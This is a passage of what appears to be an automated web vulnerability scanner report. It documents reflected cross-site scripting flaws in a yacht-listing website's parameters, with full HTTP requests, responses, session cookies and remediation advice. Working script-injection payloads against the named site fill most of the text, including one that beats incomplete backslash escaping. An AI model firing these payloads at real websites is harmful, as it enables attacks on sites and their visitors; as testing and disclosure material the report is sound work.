savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:27:59 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the ywo request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4ec2a"><script>alert(1)</script>c33a2ecf3f6 was submitted in the ywo parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/pl_boat_detail.jsp?sponsored=true&units=Feet&checked_boats=2212114&slim=broker&&hosturl=denisonyachtsales&ywo=denisonyachtsales4ec2a"><script>alert(1)</script>c33a2ecf3f6 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:30:46 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the ywo request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 2688e'><script>alert(1)</script>fce754dc703 was submitted in the ywo parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/pl_boat_detail.jsp?sponsored=true&units=Feet&checked_boats=2212114&slim=broker&&hosturl=denisonyachtsales&ywo=denisonyachtsales2688e'><script>alert(1)</script>fce754dc703 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:30:49 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the ywo request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8000f\'%3balert(1)//afa372d34c1 was submitted in the ywo parameter. This input was echoed as 8000f\\';alert(1)//afa372d34c1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /core/listing/pl_boat_detail.jsp?sponsored=true&units=Feet&checked_boats=2212114&slim=broker&&hosturl=denisonyachtsales&ywo=denisonyachtsales8000f\'%3balert(1)//afa372d34c1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:31:02 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the &ywo request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 41dcf'><script>alert(1)</script>647c7240fab was submitted in the &ywo parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /core/listing/pl_boat_detail_handler.jsp?slim=broker&hosturl=starlingmarine&units=Feet&boat_id=2275416&primary_photo_id=1&back=%2Fcore%2Flisting%2Fcache%2Fpl_search_results.jsp%3Fps%3D50%26slim%3Dbroker%26page%3Dbroker%26ywo%3Dstarlingmarine%26hosturl%3Dstarlingmarine%26luom%3D126&searchtype=buy&hosturl=starlingmarine&&ywo=starlingmarine41dcf'><script>alert(1)</script>647c7240fab& HTTP/1.1 Host: www.yachtworld.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: yw_c_id=5778232892790151794; __utmz=20819632.1296155835.1.1.utmcsr=starlingmarine.com|utmccn=(referral)|utmcmd=referral|utmcct=/used-new-boats-wilmington-morehead-nc.html; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.3.10.1296155835; s_pers=%20s_nr%3D1296155882977%7C1298747882977%3B%20s_lv%3D1296155882978%7C1390763882978%3B%20s_lv_s%3DFirst%2520Visit%7C1296157682978%3B; s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B
Response (redirected)
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:40:32 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 17126
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the &ywo request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e3d60\'%3balert(1)//fb98686bdcc was submitted in the &ywo parameter. This input was echoed as e3d60\\';alert(1)//fb98686bdcc in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /core/listing/pl_boat_detail_handler.jsp?slim=broker&hosturl=starlingmarine&units=Feet&boat_id=2275416&primary_photo_id=1&back=%2Fcore%2Flisting%2Fcache%2Fpl_search_results.jsp%3Fps%3D50%26slim%3Dbroker%26page%3Dbroker%26ywo%3Dstarlingmarine%26hosturl%3Dstarlingmarine%26luom%3D126&searchtype=buy&hosturl=starlingmarine&&ywo=starlingmarinee3d60\'%3balert(1)//fb98686bdcc& HTTP/1.1 Host: www.yachtworld.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: yw_c_id=5778232892790151794; __utmz=20819632.1296155835.1.1.utmcsr=starlingmarine.com|utmccn=(referral)|utmcmd=referral|utmcct=/used-new-boats-wilmington-morehead-nc.html; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.3.10.1296155835; s_pers=%20s_nr%3D1296155882977%7C1298747882977%3B%20s_lv%3D1296155882978%7C1390763882978%3B%20s_lv_s%3DFirst%2520Visit%7C1296157682978%3B; s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B
Response (redirected)
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:40:53 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 16800
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the &ywo request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 72009"><script>alert(1)</script>be7eb21517c was submitted in the &ywo parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /core/listing/pl_boat_detail_handler.jsp?slim=broker&hosturl=starlingmarine&units=Feet&boat_id=2275416&primary_photo_id=1&back=%2Fcore%2Flisting%2Fcache%2Fpl_search_results.jsp%3Fps%3D50%26slim%3Dbroker%26page%3Dbroker%26ywo%3Dstarlingmarine%26hosturl%3Dstarlingmarine%26luom%3D126&searchtype=buy&hosturl=starlingmarine&&ywo=starlingmarine72009"><script>alert(1)</script>be7eb21517c& HTTP/1.1 Host: www.yachtworld.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: yw_c_id=5778232892790151794; __utmz=20819632.1296155835.1.1.utmcsr=starlingmarine.com|utmccn=(referral)|utmcmd=referral|utmcct=/used-new-boats-wilmington-morehead-nc.html; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.3.10.1296155835; s_pers=%20s_nr%3D1296155882977%7C1298747882977%3B%20s_lv%3D1296155882978%7C1390763882978%3B%20s_lv_s%3DFirst%2520Visit%7C1296157682978%3B; s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B
Response (redirected)
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:40:29 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 17125
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the hosturl request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2f651\'%3balert(1)//3211bed4f90 was submitted in the hosturl parameter. This input was echoed as 2f651\\';alert(1)//3211bed4f90 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
